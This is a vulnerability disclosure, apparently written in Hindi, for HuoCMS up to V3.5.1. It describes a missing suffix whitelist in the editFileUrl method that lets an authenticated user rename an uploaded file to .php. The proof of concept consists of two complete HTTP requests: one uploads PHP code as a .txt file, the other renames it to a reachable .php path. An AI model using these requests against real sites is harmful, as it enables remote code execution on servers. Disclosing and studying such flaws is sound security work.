
विवरण
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
AttachmentController.php
HuoCMS - <=V3.5.1
app ->controller ->backend -> AttachmentController.php:editFileUrl()
"editFileUrl" विधि में कॉल किए गए "copy" फ़ंक्शन में $newPathUrl का सफ़िक्स व्हाइटलिस्ट द्वारा सत्यापित नहीं होता, जिसका उपयोग फ़ाइल नाम को संशोधित करने के लिए किया जा सकता है। सफ़िक्स पास किए गए suffix_url द्वारा नियंत्रित होता है और नियंत्रणीय है।

चरण 1: पहले से व्हाइटलिस्ट किए गए सफ़िक्स वाली एक फ़ाइल अपलोड करें जिसमें दुर्भावनापूर्ण सामग्री हो, और साथ ही फ़ाइल ID नोट कर लें।
POST /attachment/uploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Length: 581
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php/Index/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="type"
2
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="attachment_cate_id"
0
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="reduce_img"
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<?php
echo "hello word!"
?>
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9--

सामग्री के आधार पर, ID 67 निर्धारित की गई है।
चरण 2: फिर editFileUrl के आधार पर एक अनुरोध बनाएं, id 67 वाली फ़ाइल का नाम बदलें, जहाँ भेद्यता वाले editFileUrl में copy फ़ंक्शन को अवैध सफ़िक्स के साथ फ़ाइल का नाम बदलने के लिए कॉल किया जाता है।
POST /attachment/editFileUrl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: token
Content-Length: 83
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
id=67&name=test&prefix_url=&suffix_url=file/20250416/test.php&description=123123123

नोट: इसे फिर से संशोधित करने के लिए, suffix_url का फ़ाइलनाम बदलकर editFileUrl के अंदर $oldPathUrl != $newPathUrl द्वारा ट्रिगर होने वाले copy फ़ंक्शन को बायपास करना होगा।
एक्सेस URL: http://127.0.0.1/storage/file/20250416/test.php
